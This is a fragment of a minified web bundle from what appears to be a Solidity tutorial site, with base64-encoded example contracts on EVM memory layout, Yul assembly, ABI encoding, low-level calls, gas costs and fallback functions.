yNTZbXSBtZW1vcnkpIHsKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciA9IG5ldyB1aW50MjU2W10oMCk7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgcCA6PSBhcnIKICAgICAgICAgICAgLy8gU3RvcmUgbGVuZ3RoIG9mIGFycgogICAgICAgICAgICBtc3RvcmUoYXJyLCAzKQogICAgICAgICAgICAvLyBTdG9yZSAxLCAyLCAzCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDIwKSwgMTEpCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDQwKSwgMjIpCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDYwKSwgMzMpCiAgICAgICAgICAgIC8vIFVwZGF0ZSBmcmVlIG1lbW9yeSBwb2ludGVyCiAgICAgICAgICAgIG1zdG9yZSgweDQwLCBhZGQoYXJyLCAweDgwKSkKICAgICAgICB9CgogICAgICAgIC8vIERhdGEgd2lsbCBiZSBBQkkgZW5jb2RlZCB3aGVuIGFyciBpcyByZXR1cm5lZCB0byBjYWxsZXIKICAgICAgICByZXR1cm4gKHAsIGFycik7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUludGVybmFsRnVuY1JldHVybiB7CiAgICBmdW5jdGlvbiBpbnRlcm5hbF9mdW5jX3JldHVybl92YWwoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB1aW50MjU2KDB4YWJhYmFiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3ZhbCgpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyAweGFiYWJhYiB3aWxsIGJlIHN0b3JlZCBpbiB0b3Agb2YgdGhlIHN0YWNrCiAgICAgICAgaW50ZXJuYWxfZnVuY19yZXR1cm5fdmFsKCk7CiAgICB9CgogICAgZnVuY3Rpb24gaW50ZXJuYWxfZnVuY19yZXR1cm5fbWVtKCkKICAgICAgICBwcml2YXRlCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgYnl0ZXMzMltdIG1lbW9yeSBhcnIgPSBuZXcgYnl0ZXMzMltdKDMpOwogICAgICAgIGFyclswXSA9IGJ5dGVzMzIodWludDI1NigweGFhYSkpOwogICAgICAgIGFyclsxXSA9IGJ5dGVzMzIodWludDI1NigweGJiYikpOwogICAgICAgIGFyclsyXSA9IGJ5dGVzMzIodWludDI1NigweGNjYykpOwogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9tZW0oKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGxlbiwgYnl0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DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOQogICAgZnVuY3Rpb24gZW5jb2RlX3N0cnVjdF9hcnJheSgpIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIFBvaW50W10gbWVtb3J5IGFyciA9IG5ldyBQb2ludFtdKDMpOwogICAgICAgIGFyclswXSA9IFBvaW50KDEsIDIsIDMpOwogICAgICAgIGFyclsxXSA9IFBvaW50KDQsIDUsIDYpOwogICAgICAgIGFyclsyXSA9IFBvaW50KDcsIDgsIDkpOwogICAgICAgIHJldHVybiBhYmkuZW5jb2RlKGFycik7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbVJldHVybiB7CiAgICBmdW5jdGlvbiB0ZXN0X3JldHVybl92YWxzKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiwgdWludDI1NikgewogICAgICAgIC8vIHJldHVybihzdGFydCwgbGVuKSAtIEhhbHQgZXhlY3V0aW9uIGFuZCByZXR1cm4gZGF0YSBzdG9yZWQgaW4gbWVtb3J5IGZyb20gc3RhcnQgdG8gc3RhcnQgKyBsZW4KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAxMSkKICAgICAgICAgICAgbXN0b3JlKDB4YTAsIDIyKQogICAgICAgICAgICByZXR1cm4oMHg4MCwgMHg0MCkKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9yZXR1cm5fZHluX2FycigpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICAvLyBBQkkgZW5jb2RlIHVpbnQyNTZbXSBhcnJheSB3aXRoIDMgZWxlbWVudHMgMTEsIDIyIGFuZCAzMwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gb2Zmc2V0CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAweDIwKQogICAgICAgICAgIC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UgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIGtlY2NhazI1NihzdGFydCwgbGVuKSAtIEtlY2NhazI1NiBmcm9tIGRhdGEgaW4gbWVtb3J5IGZyb20gc3RhcnQgdG8gc3RhcnQgKyBsZW4KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAxKQogICAgICAgICAgICBtc3RvcmUoMHhhMCwgMikKCiAgICAgICAgICAgIGxldCBoIDo9IGtlY2NhazI1NigweDgwLCAweDQwKQogICAgICAgICAgICBtc3RvcmUoMHhjMCwgaCkKCiAgICAgICAgICAgIHJldHVybigweGMwLCAweDIwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBrZWNjYWsoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHVpbnQyNTYoMSksIHVpbnQyNTYoMikpKTsKICAgIH0KfQoKY29udHJhY3QgVGFyZ2V0IHsKICAgIGZ1bmN0aW9uIHJldHVybl91aW50MjU2KHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4OwogICAgfQoKICAgIGZ1bmN0aW9uIHJldHVybl9ieXRlcyh1aW50MjU2IG4pIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIGJ5dGVzIG1lbW9yeSBvdXQgPSBuZXcgYnl0ZXMobik7CiAgICAgICAgZm9yICh1aW50MjU2IGk7IGkgPCBuOyBpKyspIHsKICAgICAgICAgICAgb3V0W2ldID0gMHhhYjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIG91dDsKICAgIH0KCiAgICBmdW5jdGlvbiByZXR1cm5fdWludDI1Nl9hcnIodWludDI1NiBuKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW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gICAgMTAwIHwgICAgNzkzCi8vICAgICAgMTEwIHwgICAgODU3Ci8vICAgICAgMTIwIHwgICAgOTIyCi8vICAgICAgMTMwIHwgICAgOTg3Ci8vICAgICAgMTQwIHwgICAxMDUzCi8vICAgICAgMTUwIHwgICAxMTE4Ci8vICAgICAgMTYwIHwgICAxMTg1Ci8vICAgICAgMTcwIHwgICAxMjUxCi8vICAgICAgMTgwIHwgICAxMzE4Ci8vICAgICAgMTkwIHwgICAxMzg2Ci8vICAgICAgMjAwIHwgICAxNDU0CgovLyAgICAgMTAwMCB8ICAgODE0NAovLyAgICAgMjAwMCB8ICAyMDAyMwovLyAgICAgMzAwMCB8ICAzNTgwOAovLyAgICAgNDAwMCB8ICA1NTUwMAovLyAgICAgNTAwMCB8ICA3OTA5NwovLyAgICAgNjAwMCB8IDEwNjYwMQovLyAgICAgNzAwMCB8IDEzODAxMQovLyAgICAgODAwMCB8IDE3MzMyOAovLyAgICAgOTAwMCB8IDIxMjU1MAovLyAgICAxMDAwMCB8IDI1NTY3OQovLyAgICAxMTAwMCB8IDMwMjcxNQovLyAgICAxMjAwMCB8IDM1MzY1NgovLyAgICAxMzAwMCB8IDQwODUwNAovLyAgICAxNDAwMCB8IDQ2NzI1NwovLyAgICAxNTAwMCB8IDUyOTkxOAovLyAgICAxNjAwMCB8IDU5NjQ4NAovLyAgICAxNzAwMCB8IDY2Njk1NwovLyAgICAxODAwMCB8IDc0MTMzNgovLyAgICAxOTAwMCB8IDgxOTYyMQovLyAgICAyMDAwMCB8IDkwMTgxMgo="}],Kk=`

        Examples of

        +`,Yk=({prev:s,next:a})=>r.jsx(A,{version:Zk,title:Wk,description:Gk,cyfrinLink:Bk,html:Vk,prev:s,next:a,codes:fk}),Xk="0.8.26",Rk="EVM Memory Layout in Solidity",vk="Example of EVM memory in Solidity",Nk="",Hk=[{fileName:"YulMem.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkg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G1sb2FkKDB4ODApCiAgICAgICAgICAgIC8vIGxvYWQgMzIgYnl0ZXMgc3RhcnRpbmcgZnJvbSAweGEwICgweDgwICsgMzIgPSAweGEwKQogICAgICAgICAgICB5IDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIC8vIGxvYWQgMzIgYnl0ZXMgc3RhcnRpbmcgZnJvbSAweGMwICgweGEwICsgMzIgPSAweGMwKQogICAgICAgICAgICB6IDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIGZyZWVfbWVtX3B0ciwgdWludDI1NiB4LCB1aW50MjU2IHksIHVpbnQyNTYgeikKICAgIHsKICAgICAgICAvLyBBbGxvY2F0ZXMgbWVtb3J5IDB4ODAgdG8gMHhkZiB0byBQb2ludAogICAgICAgIC8vIEZyZWUgbWVtb3J5IHBvaW50ZXIgPSAweGRmICsgMSA9IDB4ZTAKICAgICAgICBQb2ludCBtZW1vcnkgcDsKCiAgICAgICAgLy8gV3JpdGUKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHN0b3JlIHRvIDB4ODAKICAgICAgICAgICAgbXN0b3JlKHAsIDExKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGEwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHgyMCksIDIyKQogICAgICAgICAgICAvLyBzdG9yZSB0byAweGMwCiAgICAgICAgICAgIG1zdG9yZShhZGQocCwgMHg0MCksIDMzKQogICAgICAgICAgICAvLyAweGUwCiAgICAgICAgICAgIGZyZWVfbWVtX3B0ciA6PSBtbG9hZCgweDQwKQogICAgICAgIH0KCiAgICAgICAgeCA9IHAueDsKICAgICAgICB5ID0gcC55OwogICAgICAgIHogPSBwLno7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUZpeGVkQXJyYXkgewogICAgZnVuY3Rpb24gdGVzdF9yZWFkKCkKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhMCwgdWludDI1NiBhMSwgdWludDI1NiBhMikKICAgIHsKICAgICAgICAvLyBhcnIgaXMgbG9hZGVkIHRvIG1lbW9yeSBzdGFydGluZyBhdCAweDgwCiAgICAgICAgLy8gRWFjaCBhcnJheSBlbGVtZW50IGlzIHN0b3JlZCBhcyAzMiBieXRlcwogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyID0gW3VpbnQzMigxKSwgdWludDMyKDIpLCB1aW50MzIoMyldOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGEwIDo9IG1sb2FkKDB4ODApCiAgICAgICAgICAgIGExIDo9IG1sb2FkKDB4YTApCiAgICAgICAgICAgIGEyIDo9IG1sb2FkKDB4YzApCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQzMlszXSBtZW1vcnkgYXJyOwoKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIDB4ODAKICAgICAgICAgICAgbXN0b3JlKGFyciwgMTEpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgbXN0b3JlKGFkZChhcnIsIDB4MjApLCAyMikKICAgICAgICAgICAgLy8gMHhjMAogICAgICAgICAgICBtc3RvcmUoYWRkKGFyciwgMHg0MCksIDMzKQogICAgICAgIH0KCiAgICAgICAgYTAgPSBhcnJbMF07CiAgICAgICAgYTEgPSBhcnJbMV07CiAgICAgICAgYTIgPSBhcnJbMl07CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUR5bmFtaWNBcnJheSB7CiAgICBmdW5jdGlvbiB0ZXN0X3JlYWQoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTYgbGVuLCB1aW50MjU2IGEwLCB1aW50MjU2IGExLCB1aW50MjU2IGEyKQogICAgewogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYXJyID0gbmV3IHVpbnQyNTZbXSg1KTsKICAgICAgICBhcnJbMF0gPSB1aW50MjU2KDExKTsKICAgICAgICBhcnJbMV0gPSB1aW50MjU2KDIyKTsKICAgICAgICBhcnJbMl0gPSB1aW50MjU2KDMzKTsKICAgICAgICBhcnJbM10gPSB1aW50MjU2KDQ0KTsKICAgICAgICBhcnJbNF0gPSB1aW50MjU2KDU1KTsKCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBwIDo9IGFycgogICAgICAgICAgICAvLyAweDgwCiAgICAgICAgICAgIGxlbiA6PSBtbG9hZChhcnIpCiAgICAgICAgICAgIC8vIDB4YTAKICAgICAgICAgICAgYTAgOj0gbWxvYWQoYWRkKGFyciwgMHgyMCkpCiAgICAgICAgICAgIC8vIDB4YzAKICAgICAgICAgICAgYTEgOj0gbWxvYWQoYWRkKGFyciwgMHg0MCkpCiAgICAgICAgICAgIC8vIDB4ZTAKICAgICAgICAgICAgYTIgOj0gbWxvYWQoYWRkKGFyciwgMHg2MCkpCiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfd3JpdGUoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyIHAsIHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciA9IG5ldyB1aW50MjU2W10oMCk7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgcCA6PSBhcnIKICAgICAgICAgICAgLy8gU3RvcmUgbGVuZ3RoIG9mIGFycgogICAgICAgICAgICBtc3RvcmUoYXJyLCAzKQogICAgICAgICAgICAvLyBTdG9yZSAxLCAyLCAzCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDIwKSwgMTEpCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDQwKSwgMjIpCiAgICAgICAgICAgIG1zdG9yZShhZGQoYXJyLCAweDYwKSwgMzMpCiAgICAgICAgICAgIC8vIFVwZGF0ZSBmcmVlIG1lbW9yeSBwb2ludGVyCiAgICAgICAgICAgIG1zdG9yZSgweDQwLCBhZGQoYXJyLCAweDgwKSkKICAgICAgICB9CgogICAgICAgIC8vIERhdGEgd2lsbCBiZSBBQkkgZW5jb2RlZCB3aGVuIGFyciBpcyByZXR1cm5lZCB0byBjYWxsZXIKICAgICAgICByZXR1cm4gKHAsIGFycik7CiAgICB9Cn0KCmNvbnRyYWN0IE1lbUludGVybmFsRnVuY1JldHVybiB7CiAgICBmdW5jdGlvbiBpbnRlcm5hbF9mdW5jX3JldHVybl92YWwoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB1aW50MjU2KDB4YWJhYmFiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3ZhbCgpIHB1YmxpYyBwdXJlIHsKICAgICAgICAvLyAweGFiYWJhYiB3aWxsIGJlIHN0b3JlZCBpbiB0b3Agb2YgdGhlIHN0YWNrCiAgICAgICAgaW50ZXJuYWxfZnVuY19yZXR1cm5fdmFsKCk7CiAgICB9CgogICAgZnVuY3Rpb24gaW50ZXJuYWxfZnVuY19yZXR1cm5fbWVtKCkKICAgICAgICBwcml2YXRlCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgYnl0ZXMzMltdIG1lbW9yeSBhcnIgPSBuZXcgYnl0ZXMzMltdKDMpOwogICAgICAgIGFyclswXSA9IGJ5dGVzMzIodWludDI1NigweGFhYSkpOwogICAgICAgIGFyclsxXSA9IGJ5dGVzMzIodWludDI1NigweGJiYikpOwogICAgICAgIGFycls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ZW4KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIG1zdG9yZSgweDgwLCAiRVJST1IgSEVSRSIpCiAgICAgICAgICAgIHJldmVydCgweDgwLCAweDIwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3JldmVydF93aXRoX2Vycm9yX21zZygpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBwIDo9IG1sb2FkKDB4NDApCiAgICAgICAgICAgIC8vIGZ1bmN0aW9uIHNlbGVjdG9yIG9mIEVycm9yKHN0cmluZykKICAgICAgICAgICAgLy8gMHgwOGMzNzlhMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgIC8vIDB4MDhjMzc5YTAgaXMgMzIgYml0cywgc2hpZnQgbGVmdCBieSAyMjQgdG8gbWFrZSBpdCAyNTYgYml0cwogICAgICAgICAgICAvLyAyNTUgLSAzMSA9IDIyNAogICAgICAgICAgICBtc3RvcmUocCwgc2hsKDIyNCwgMHgwOGMzNzlhMCkpCiAgICAgICAgICAgIC8vIFN0cmluZyBvZmZzZXQKICAgICAgICAgICAgbXN0b3JlKGFkZChwLCAweDA0KSwgMHgyMCkKICAgICAgICAgICAgLy8gU3RyaW5nIGxlbmd0aAogICAgICAgICAgICBtc3RvcmUoYWRkKHAsIDB4MjQpLCA1KQogICAgICAgICAgICAvLyBNZXNzYWdlIChtdXN0IGJlIGxlc3MgdGhhbiAzMiBieXRlcykKICAgICAgICAgICAgbXN0b3JlKGFkZChwLCAweDQ0KSwgIkVSUk9SIikKICAgICAgICAgICAgLy8gZnVuY3Rpb24gc2VsZWN0b3IgKyBvZmZzZXQgKyBzdHJpbmcgbGVuZ3RoICsgc3RyaW5nIG1lc3NhZ2UKICAgICAgICAgICAgLy8gPSAweDA0ICsgMHgyMCArIDB4MjAgKyAweDIwCiAg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Do9IHN0YXRpY2NhbGwoZ2FzKCksIGFkZHIsIHAsIGRhdGEubGVuZ3RoLCAwLCAwKQoKICAgICAgICAgICAgaWYgaXN6ZXJvKG9rKSB7IHJldmVydCgwLCAwKSB9CgogICAgICAgICAgICAvLyByZXR1cm5fZGF0YV9zaXplID0gMzIgIGZvciBjYWxsaW5nIFRhcmdldC5yZXR1cm5fdWludDI1NiAtPiB1aW50MjU2CiAgICAgICAgICAgIC8vICAgICAgICAgICAgICAgICAgPSA5NiAgZm9yIGNhbGxpbmcgVGFyZ2V0LnJldHVybl9ieXRlcyAtPiBieXRlc1tdICgzMiBvZmZzZXQsIDMyIGxlbmd0aCwgMyBieXRlcyBwYWRkZWQgdG8gMzIpCiAgICAgICAgICAgIC8vICAgICAgICAgICAgICAgICAgPSAxNjAgZm9yIGNhbGxpbmcgVGFyZ2V0LnJldHVybl91aW50MjU2X2FyciAtPiB1aW50MjU2W10gKDMyIG9mZnNldCwgMzIgbGVuZ3RoLCAzMiB4IDMgZWxlbWVudHMpCiAgICAgICAgICAgIHJldHVybl9kYXRhX3NpemUgOj0gcmV0dXJuZGF0YXNpemUoKQogICAgICAgICAgICAvLyBTdG9yZSBsZW5ndGggb2YgcmV0dXJuIGRhdGEgdG8gb3V0CiAgICAgICAgICAgIC8vIHBvaW50ZXIgdG8gb3V0ID0gMHg2MCAoemVybyBzbG90KQogICAgICAgICAgICBtc3RvcmUob3V0LCByZXR1cm5fZGF0YV9zaXplKQogICAgICAgICAgICAvLyBDb3B5IHJldHVybiBkYXRhIHRvIG91dAogICAgICAgICAgICByZXR1cm5kYXRhY29weShhZGQob3V0LCAweDIwKSwgMCwgcmV0dXJuX2RhdGFfc2l6ZSkKICAgICAgICAgICAgLy8gVXBkYXRlIGZyZWUgbWVtb3J5IHBvaW50ZXIKICAgICAgICAgICAgbXN0b3JlKDB4NDAsIGFkZChvdXQsIGFkZCgweDIwLCByZXR1cm5fZGF0YV9zaXplKSkpCiAgICAgICAgfQogICAgfQp9Cgpjb250cmFjdCBDb3VudGVyIHsKICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgY291bnQgKz0gMTsKICAgICAgICByZXR1cm4gY291bnQ7CiAgICB9Cn0KCmNvbnRyYWN0IFl1bENhbGwgewogICAgZnVuY3Rpb24gdGVzdF9jYWxsKGFkZHJlc3MgYSwgYnl0ZXMgbWVtb3J5IGRhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSBvdXQpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyAweDgwCiAgICAgICAgICAgIGxldCBkYXRhX3B0ciA6PSBkYXRhCiAgICAgICAgICAgIC8vIDB4NjAKICAgICAgICAgICAgbGV0IG91dF9wdHIgOj0gb3V0CgogICAgICAgICAgICBsZXQgZGF0YV9zaXplIDo9IG1sb2FkKGRhdGEpCiAgICAgICAgICAgIGxldCBkYXRhX3N0YXJ0IDo9IGFkZChkYXRhLCAweDIwKQogICAgICAgICAgICBsZXQgb2sgOj0gY2FsbChnYXMoKSwgYSwgY2FsbHZhbHVlKCksIGRhdGFfc3RhcnQsIGRhdGFfc2l6ZSwgMCwgMCkKCiAgICAgICAgICAgIGlmIGlzemVybyhvaykgeyByZXZlcnQoMCwgMCkgfQoKICAgICAgICAgICAgbGV0IHJldHVybl9kYXRhX3NpemUgOj0gcmV0dXJuZGF0YXNpemUoKQogICAgICAgICAgICAvLyBTdG9yZSBsZW5ndGggb2YgcmV0dXJuIGRhdGEgdG8gb3V0CiAgICAgICAgICAgIG1zdG9yZShvdXQsIHJldHVybl9kYXRhX3NpemUpCiAgICAgICAgICAgIC8vIENvcHkgcmV0dXJuIGRhdGEgdG8gb3V0CiAgICAgICAgICAgIHJldHVybmRhdGFjb3B5KGFkZChvdXQsIDB4MjApLCAwLCByZXR1cm5fZGF0YV9zaXplKQogICAgICAgICAgICAvLyBVcGRhdGUgZnJlZSBtZW1vcnkgcG9pbnRlcgogICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKG91dCwgYWRkKDB4MjAsIHJldHVybl9kYXRhX3NpemUpKSkKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9pbmMoYWRkcmVzcyBjb3VudGVyKSBwdWJsaWMgcmV0dXJucyAodWludDI1NiBjb3VudCkgewogICAgICAgIGJ5dGVzIG1lbW9yeSByZXMgPSB0ZXN0X2NhbGwoY291bnRlciwgYWJpLmVuY29kZUNhbGwoQ291bnRlci5pbmMsICgpKSk7CiAgICAgICAgY291bnQgPSBhYmkuZGVjb2RlKHJlcywgKHVpbnQyNTYpKTsKICAgIH0KfQoKLy8gTWVtb3J5IGV4cGFuc2lvbiBnYXMgY29zdAovLyBHYXMgY29zdCBpcyBxdWFkcmF0aWMgdG8gbWVtb3J5IGFsbG9jYXRpb24uCmNvbnRyYWN0IE1lbUV4cCB7CiAgICBmdW5jdGlvbiBhbGxvY19tZW0odWludDI1NiBuKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICB1aW50MjU2IGdhc19zdGFydCA9IGdhc2xlZnQoKTsKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciA9IG5ldyB1aW50MjU2W10obik7CiAgICAgICAgdWludDI1NiBnYXNfZW5kID0gZ2FzbGVmdCgpOwogICAgICAgIHJldHVybiBnYXNfc3RhcnQgLSBnYXNfZW5kOwogICAgfQp9CgovLyBhcnIgc2l6ZSB8IGdhcwovLyAgICAgICAgMCB8ICAgIDEyMAovLyAgICAgICAgMSB8ICAgIDE3OAovLyAgICAgICAxMCB8ICAgIDIzMgovLyAgICAgICAyMCB8ICAgIDI5MwovLyAgICAgICAzMCB8ICAgIDM1NAovLyAgICAgICA0MCB8ICAgIDQxNQovLyAgICAgICA1MCB8ICAgIDQ3NwovLyAgICAgICA2MCB8ICAgIDU0MAovLyAgICAgICA3MCB8ICAgIDYwMgovLyAgICAgICA4MCB8ICAgIDY2NgovLyAgICAgICA5MCB8ICAgIDcyOQovLyAgICAgIDEwMCB8ICAgIDc5MwovLyAgICAgIDExMCB8ICAgIDg1NwovLyAgICAgIDEyMCB8ICAgIDkyMgovLyAgICAgIDEzMCB8ICAgIDk4NwovLyAgICAgIDE0MCB8ICAgMTA1MwovLyAgICAgIDE1MCB8ICAgMTExOAovLyAgICAgIDE2MCB8ICAgMTE4NQovLyAgICAgIDE3MCB8ICAgMTI1MQovLyAgICAgIDE4MCB8ICAgMTMxOAovLyAgICAgIDE5MCB8ICAgMTM4NgovLyAgICAgIDIwMCB8ICAgMTQ1NAoKLy8gICAgIDEwMDAgfCAgIDgxNDQKLy8gICAgIDIwMDAgfCAgMjAwMjMKLy8gICAgIDMwMDAgfCAgMzU4MDgKLy8gICAgIDQwMDAgfCAgNTU1MDAKLy8gICAgIDUwMDAgfCAgNzkwOTcKLy8gICAgIDYwMDAgfCAxMDY2MDEKLy8gICAgIDcwMDAgfCAxMzgwMTEKLy8gICAgIDgwMDAgfCAxNzMzMjgKLy8gICAgIDkwMDAgfCAyMTI1NTAKLy8gICAgMTAwMDAgfCAyNTU2NzkKLy8gICAgMTEwMDAgfCAzMDI3MTUKLy8gICAgMTIwMDAgfCAzNTM2NTYKLy8gICAgMTMwMDAgfCA0MDg1MDQKLy8gICAgMTQwMDAgfCA0NjcyNTcKLy8gICAgMTUwMDAgfCA1Mjk5MTgKLy8gICAgMTYwMDAgfCA1OTY0ODQKLy8gICAgMTcwMDAgfCA2NjY5NTcKLy8gICAgMTgwMDAgfCA3NDEzMzYKLy8gICAgMTkwMDAgfCA4MTk2MjEKLy8gICAgMjAwMDAgfCA5MDE4MTIK"}],Kk=`

        Examples of

        • Reading and writing to memory with assembly
        • Memory layout in Solidity of different data types
        • @@ -7929,7 +7929,7 @@ assertion probably means that there is a bug. return abi.encode(addr); } - // Fixed sized bytes -> zero padded on the righ side + // Fixed sized bytes -> zero padded on the right side // 0xaabbccdd00000000000000000000000000000000000000000000000000000000 function encode_bytes4() public pure returns (bytes memory) { bytes4 b4 = 0xaabbccdd; @@ -8876,7 +8876,7 @@ assertion probably means that there is a bug. } } } -
          `,Ek=({prev:s,next:a})=>r.jsx(A,{version:Mk,title:Sk,description:xk,cyfrinLink:Jk,html:Dk,prev:s,next:a,codes:zk}),Qk="0.8.26",Tk="Fallback",Uk="Example of how to use fallback in Solidity",Lk="https://www.cyfrin.io/glossary/fallback-solidity-code-example",_k=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWN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SByZXMpID0gdGFyZ2V0LmNhbGx7dmFsdWU6IG1zZy52YWx1ZX0oZGF0YSk7CiAgICAgICAgcmVxdWlyZShvaywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBnZXQoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpIHs